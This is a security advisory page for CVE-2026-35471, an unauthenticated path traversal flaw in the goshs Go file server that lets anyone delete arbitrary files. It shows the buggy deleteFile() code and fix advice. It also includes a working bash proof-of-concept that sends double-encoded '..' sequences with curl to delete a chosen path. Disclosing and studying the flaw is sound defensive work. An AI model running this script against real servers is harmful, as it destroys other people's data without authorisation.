CVE-2026-35471: goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Summary deleteFile() missing return after path traversal check httpserver/handler.go:645-671 The finding affects the default configuration, no flags or authentication required. Details File: httpserver/handler.go:645-671 Trigger: GET / ?delete (handler.go:157-160 dispatches to deleteFile) The function detects .. in the decoded path but does not return.
Published Apr 3, 2026 · Updated Apr 7, 2026
Affected packages
github.com/patrickhener/goshs
- Ecosystem
- Go
- Affected
- < 1.1.5-0.20260401172448-237f3af891a9
- Fixed in
- 1.1.5-0.20260401172448-237f3af891a9
- Check
go list -m github.com/patrickhener/goshs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
deleteFile()missing return after path traversal check |httpserver/handler.go:645-671
The finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/handler.go:645-671 Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)
The function detects .. in the decoded path but does not return.
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))
fileCleaned, _ := url.QueryUnescape(upath)
if strings.Contains(fileCleaned, "..") {
w.WriteHeader(500)
_, err := w.Write([]byte("Cannot delete file"))
if err != nil {
logger.Errorf("error writing answer to client: %+v", err)
}
// BUG: no return, falls through to os.RemoveAll
}
deletePath := filepath.Join(fs.Webroot, fileCleaned)
err := os.RemoveAll(deletePath) // always executesRoot causes: Missing return after the guard makes the check dead code
Impact: Unauthenticated arbitrary file/directory deletion.
PoCs:
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")
URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"
echo "[*] Target: ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
echo "[*] HTTP ${HTTP_CODE}"To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary
---
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Credited to autobot23920.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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